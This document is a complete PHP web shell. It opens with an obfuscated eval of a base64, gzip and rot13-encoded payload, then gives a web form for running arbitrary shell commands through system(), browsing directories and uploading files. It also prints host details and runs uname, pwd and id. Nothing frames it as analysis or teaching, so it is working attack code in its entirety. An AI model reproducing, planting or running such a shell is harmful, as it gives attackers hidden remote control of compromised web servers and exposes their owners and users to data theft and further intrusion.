PHP Decode

error_reporting(E_ALL);
set_magic_quotes_runtime(0);
error_reporting(0);
eval(str_rot13(gzinflate(base64_decode('jdFHzptAAEDhfaScI45YYJqxFWVhOjbFdIbNL8AMxZgyDBg4fSLlAnlH+B6qu+0Ay+KryEqKOeD3kk5bV6JD30F0Yr9GNGQjOvxwhiAasrCxLEd6c57gPB+YreX1NntKbhnhwx6CduVMF6c9xU817KNxfrzElN6HntbnLumzspc4l89oo5k2RV8nrTXhEm0k87rVw36EZA3QVsqLOeaZIfDVsi4FGwOzCWvMB1NakJaxvcu41aWCYg3hSFDQ9QbkMIaXvSs2nR061kfgu/Kte1HpZ1+J25iBYu62Fya6wLCDC3bV61mh8qtyXa5S8DzdtOiyx1g/qaLGWzY612bGQJyhqToHcp1Ym6+SV24XACrdXFIG0Z2Xol23GizxiBl9kpuiwGemr8mB/PHzb7++f0P/6VrqtqickyYAR/EyU0sMFKeC9MfnhBN9N9Ec6MfHfnLzh5JntFlSe3dk04Hpuhs230dvqsiN7JPQasomAhKr5S6rmDfshaUvLCIzVgX6CL2DB80Dyv1+taC3TmeD6M6NAxN9yUf7YRH+Ooq5emnFoDRlN46pmoCGGr22pKVXM13j+CR5wQgHTUviTobTKPWCrp0HLBGgVdtt2QdgRVMPzBfpYNSadXgfnoRNrUCRr7GnP9mQPSFYjF4AC3gXb0e6TqkMUYwSPikqFOfED6BcRa19n+eBaXyQxDPXHN2PLlAWAJbBcXKjcvYpjRK/wjYdlg8P9jjsUk5PH+jdIpkv710nIo66MAtjZf7ac3HX9EWCmtc1S/h9EyJli3PtvhhPqebFVpS5N6+Y+sur1PRSXyTt97+HfwA='))));
echo "  <b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>";
echo "  <b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>";
echo "  <b>Your ip:</b> ".$_SERVER["REMOTE_ADDR"]." <br>";
  
$currentWD  = str_replace("\","\",$_POST['_cwd']);
$currentCMD = str_replace("\","\",$_POST['_cmd']);

$UName  = `uname -a`;
$SCWD   = `pwd`;
$UserID = `id`;

if( $currentWD == "" ) {
    $currentWD = $SCWD;
}

if( $_POST['_act'] == "List files!" ) {
    $currentCMD = "ls -la";
}


echo "<form method=post enctype=\"multipart/form-data\"><table>";

echo "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
echo "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";

echo "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
echo "<td><input type=submit name=_act value=\"List files!\"></td></tr>";

echo "<tr><td><b>Upload file:</b></td><td><input size=89 type=file name=_upl></td>";
echo "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";

echo "</table></form>";

$currentCMD = str_replace("\"","\"",$currentCMD);
$currentCMD = str_replace("\'","\'",$currentCMD);

if( $_POST['_act'] == "Upload!" ) {
    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
        echo "<center><b>Error while uploading file!</b></center>";
    } else {
        echo "<center><pre>";
        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        echo "</pre><b>File uploaded successfully!</b></center>";
    }    
} else {
    echo "

<!-- OUTPUT STARTS HERE -->
<pre>
";
    $currentCMD = "cd ".$currentWD.";".$currentCMD;
  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
    echo "
</pre>
<!-- OUTPUT ENDS HERE -->

</center><center><b>Perintah Selesai Gan!</b></center>";
}

exit;